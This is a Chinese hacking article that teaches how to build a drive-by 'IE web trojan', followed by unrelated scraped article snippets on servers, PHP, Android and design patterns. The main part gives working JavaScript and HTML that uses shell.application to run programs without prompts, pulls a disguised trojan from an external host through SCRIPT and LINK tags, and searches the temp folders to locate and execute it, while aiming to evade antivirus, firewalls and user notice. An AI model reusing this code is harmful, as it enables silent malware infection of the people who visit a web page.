打造完美的IE网页木马

作者:碧雪   来源:第八军团

既然要打造完美的IE网页木马,首先就必须给我们的完美制定一个标准,我个人认为一个完美的IE网页木马至少应具备下列四项特征:

  一:可以躲过杀毒软件的追杀;

  二:可以避开网络防火墙的报警;

  三:能够适用于多数的WINDOWS操作系统(主要包括WIN98、WINME、WIN2000、WINXP、WIN2003)中的多数IE版本(主要包括IE5.0、IE5.5、IE6.0),最好能打倒SP补丁;

  四:让浏览者不容易发觉IE变化,即可以悄无声息,从而可以长久不被发现。

  (注意以上四点只是指网页本身而言,但不包括你的木马程序,也就是说我们的网页木马只是负责运行指定的木马程序,至于你的木马程序的好坏只有你自己去选择啦!别找我要,我不会写的哦!)

  满足以上四点我想才可以让你的马儿更青春更长久,跑的更欢更快……

  看了上面的几点你是不是心动拉?别急,我们还是先侃侃现有的各种IE网页木马的不足吧!

  第一种:利用古老的MIME漏洞的IE网页木马

  这种木马现在还在流行,但因为此漏洞太过古老且适用的IE版本较少,而当时影响又太大,补丁差不多都补上啦,因此这种木马的种植成功率比较低。

  第二种:利用com.ms.activeX.ActiveXComponent漏洞,结合WSH及FSO控件的IE网页木马

  虽然com.ms.activeX.ActiveXComponent漏洞广泛存在于多数IE版本中,是一个比较好的漏洞,利用价值非常高,但却因为它结合了流行的病毒调用的WSH及FSO控件,使其虽说可以避开网络防火墙的报警,可逃不脱杀毒软件的追捕(如诺顿)。

  第三种:利用OBJECT对象类型确认漏洞(Object Data Remote)并结合WSH及FSO控件的IE网页木马(典型的代表有动鲨网页木马生成器)

  此种木马最大的优点是适应的IE版本多,且漏洞较新,但却有如下不足:

  1、因为此漏洞要调用Mshta.exe来访问网络下载木马程序,所以会引起防火墙报警(如天网防火墙);

  2、如果此IE网页木马又利用了WSH及FSO控件,同样逃不脱杀毒软件的追捕(如诺顿),而

动鲨网页木马又恰恰使用了WSH及FSO控件,叹口气……可惜呀……?

  3、再有就是这个漏洞需要网页服务器支持动态网页如ASP、JSP、CGI等,这就影响了它的发挥,毕竟现在的免费稳定的动态网页空间是少之又少;虽说此漏洞也可利用邮件MIME的形式(见我在安全焦点上发表的文章:《由错误MIME漏洞的利用想到的......---IE Object Data 数据远程执行漏洞的利用》http://www.xfocus.net/articles/200309/607.html)来利用,但经测试发现对IE6.0不起作用。

  看到上面的分析你是不是有了这种感觉:千军易得,一将难求,马儿成群,奈何千里马难寻!别急,下面让我带这大家一起打造我心中的完美IE网页木马。

  首先要躲过杀毒软件的追杀,我们就不能利用WSH和FSO控件,因为只要利用了WSH和FSO控件就一定逃不脱“诺顿”的追杀,这可叫我们该如何是好?!别急,经过我的努力工作(说真的我也是在研究ASP木马时偶然发现的灵感)终于我有找到了一个可以用的控件,那就是 shell.application,并且它可是经过了安全认证的,可以在“我的电脑”域中的网页中畅通无阻的执行,比WSH和FSO更容易得到执行权限(利用跨域漏洞即可),请看下面javascript代码:

<SCRIPT LANGUAGE="javascript" type="text/javascript">

var shell=new ActiveXObject("shell.application");

shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb();

</SCRIPT>

保存为test.htm后打开看是否自动打开了记事本程序,而且不会象WSH和FSO那样出现是否允许运行的提示框,是不是有点兴趣啦?现在我们已可以运行所有已知路径的程序,但我们要求运行我们自己的木马程序,所以还要求把我们的木马程序下载到浏览者的电脑上并找出它的位置。我们一个个来解决:

  1、下载木马程序到浏览者的电脑中

  这一点可以有很多解决方法,比如我以前提到的WINDOWS帮助文件访问协议下载任意文件漏洞(its:),不过这次我们不用它,再教大家两个更好的下载方法:

  例一:利用SCRIPT标签,代码如下:

<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>

注意此处的LANGUAGE属性可以为除javascript、VBScript、JScript以外的字符串,也可以是汉字,至于src的属性当然是你的木马程序的地址啦!因为现在免费空间出于安全考虑,多数不允许上传exe文件,我们可以变通一下把扩展名exe改为bat或pif、scr、com,同样可以运行。

  例二:利用LINK标签,代码如下:

<LINK href="http://www.godog.y365.com/wodemuma/icyfox.bat" rel=stylesheet type=text/css>

把代码放在标签<HEAD></HEAD>中间,href属性值为木马程序的地址。

上面两个是我所知的最好的两种下载木马程序的方法,它们下载后的程序都保存在在IE临时目录Temporary Internet Files目录下的子目录中。

  2、找出已下载到浏览者的脑中的木马程序路径

  我们可以利用shell.application控件的一些属性和方法,并结合js的错误处理try{}catch(e){}finally{}语句,进行递归调用来找到木马程序的路径,代码如下: function icyfoxlovelace(){

//得到WINDOWS系统目录和系统盘

url=document.location.href;

xtmu=url.substring(6,url.indexOf('\\',9)+1);

xtp=url.substr(6,3);

var shell=new ActiveXObject("shell.application");

var runbz=1;

//此处设置木马程序的大小,以字节为单位

//请把198201改为你的木马程序的实际大小

var exeSize=198201;

//设置木马程序名及扩展名(exe,com,bat,pif,scr),用于判断是否是所下载的木马程序

//请把下面两行中的icyfox改为你的木马程序名,bat改为你的木马程序的扩展名

var a=/icyfox\[\d*\]\.bat/gi;

a.compile("icyfox\\[\\d*\\]\\.bat","gi");

var b=/[A-Za-z]:\\/gi;

b.compile("[A-Za-z]:\\\\","gi");//正则表达式,用于判断是否是盘的根目录

//下面的代码查找并运行木马程序

wjj(xtmu+"Temporary Internet Files\\");//Content.IE5\if(runbz)wjj(xtp+"Documents and Settings\\");

if(runbz)yp();

//在所有硬盘分区下查找并运行木马程序

function yp(){

try{

var c=new Enumerator(shell.namespace("c:\\").ParentFolder.Items());

for (;!c.atEnd();c.moveNext()){

if(runbz){if(b.test(c.item().path))wjj(c.item().path);}

else break;

}

}catch(e){}

}

//利用递归在指定目录(包括子目录)下查找并运行木马程序

function wjj(b){

try{

var c=new Enumerator(shell.namespace(b).Items());

for (;!c.atEnd();c.moveNext()){

if(runbz&&c.item().Size==exeSize&&a.test(c.item().path)){

var f=c.item().path;

var v=f.lastIndexOf('\\')+1;

try{

shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();//运行木马程序

runbz=0;

break;

}catch(e){}

}

if(!c.item().Size)wjj(c.item().path+"\\");//如果是子目录则递归调用

}

}catch(e){}

}

}

icyfoxlovelace();

请把以上代码保存为icyfox.js。

时间: 2007-01-14

使用Apache打造完美限制的HTTP下载服务器

一开始本来准备选择使用FTP作为下载服务器的,不过过了几天就发现很多都是通过盗链的方式来FTP下载.这下服务器在持续性全速提供上传,但是网站的页面浏览量却少得可怜.因为FTP天生不能放盗链的特性所以只能考虑放弃使用,最后决定用HTTP下载来替代. 直接用HTTP服务器下载也不是很容易的事.最开始在IIS里面配置,IIS只能设定最大下载速度和最大连接数,这对于一些使用下载工具一来就开50+线程霸道下载的朋友明显是防不住的.网上搜了N久就发现一个用Delphi写的看不懂的ISAPI Filter以及

用GMail吗来打造完美个人下载站的方法提供

必要软件:   1.GMailStore 2.1下载: http://gmailstore.bokee.com/inc/GMailStore_2_1_unicode.rar   2.DSLite 2.07.45 下载:http://youxia.yxbar.net/SIMS2/05.06.18_pat_sims2.dsl207_slm/DSLite2_07_45.rar    GMailStore   优点 : 界面仿传统FTP软件,上传方便,速度快,下载也很快   缺点 : 无法与他人共享,除

Android控件View打造完美的自定义侧滑菜单

一.概述 在App中,经常会出现侧滑菜单,侧滑滑出View等效果,虽然说Android有很多第三方开源库,但是实际上咱们可以自己也写一个自定义的侧滑View控件,其实不难,主要涉及到以下几个要点: 1.对Android中Window类中的DecorView有所了解 2.对Scroller类实现平滑移动效果 3.自定义ViewGroup的实现 首先来看看效果图吧:     下面现在就来说说这里咱们实现侧滑View的基本思路吧,这里我采用的是自定义一个继承于RelativeLayout的控件叫做XC

php打造智能化的柱状图程序,用于报表等

php打造智能化的柱状图程序,用于报表等 <?php /*** * @project Bar Graph Program * @license GPL * @package * @file GrapBar.php * @date 2007-4-3 * @version 1.0 * @last modified * 定义 柱状图(柱形图) 类 * * 注意,使用前请确保字体路径存在并允许访问,如果出错,还要检查在php.ini配置中的open_basedir项,如果没此路径请添加,或在程序中设置包

非主流Q-zOne代码代码搜集第1/2页

复制以下代码粘贴在空间模块的评论里就可以产生你需要的效果,如果大家看不明白可以把代码复制到你自己空间的心情日记里测试. < 本人已测试,以下代码全部可用 >此贴随时更新,我将会不断补上一些制作网页的基本特效,包你空间是最有个性的,嘿嘿.空间主题修改代码:  <img src="javascript:document.title='-瞬間的媄♂吥再留戀‰';"> 常用代码: 小图片背景(横幅)透明的 <img src="javascript:doc

Java开发中的23种设计模式详解(推荐)

设计模式(Design Patterns)                                   --可复用面向对象软件的基础 设计模式(Design pattern)是一套被反复使用.多数人知晓的.经过分类编目的.代码设计经验的总结.使用设计模式是为了可重用代码.让代码更容易被他人理解.保证代码可靠性. 毫无疑问,设计模式于己于他人于系统都是多赢的,设计模式使代码编制真正工程化,设计模式是软件工程的基石,如同大厦的一块块砖石一样.项目中合理的运用设计模式可以完美的解决很多问题,每

Java 23种设计模型详解

设计模式(Design Patterns)                                   --可复用面向对象软件的基础 设计模式(Design pattern)是一套被反复使用.多数人知晓的.经过分类编目的.代码设计经验的总结.使用设计模式是为了可重用代码.让代码更容易被他人理解.保证代码可靠性. 毫无疑问,设计模式于己于他人于系统都是多赢的,设计模式使代码编制真正工程化,设计模式是软件工程的基石,如同大厦的一块块砖石一样.项目中合理的运用设计模式可以完美的解决很多问题,每

Thinkphp和Bootstrap结合打造个性的分页样式(推荐)

先吐槽一下ThinkPHP3.1版的分页样式,虽然看起来也很简单大方,但是所有的页码全是使用简单的数字,之间的空隙比较小,不大容易点,还有那个"前5页"和"后5页"显得有点多余,因为点击当前显示第一页的"上一页"按钮会自然出来前5页. 3.1的分页效果是这个样子滴: 针对以上种种不太理想的情况,又加上最近学习了ThinkPHP5,在ThinkPHP5中提供了对BootStrap分页样式的完美支持,在thinkphp5中只要引入了BootStrap

PHP使用Mysqli类库实现完美分页效果的方法

本文实例讲述了PHP使用Mysqli类库实现完美分页效果的方法.分享给大家供大家参考,具体如下: 本篇文章是基于的是我的上篇文章<PHP数据库操作之基于Mysqli的数据库操作类库>而量身打造,怎么使用 M 类库中的 FetchAll 方法做出完美分页. 分页在我们每个项目中都是必不可少的,而且出现的频率非常之多.这样就要求我们程序员在项目中怎样去以最快的速度.最简洁的代码去实现分页方案. 分页的实现大部分是依据 URL 传入的参数(一般是page)来实现,比如:http://localhos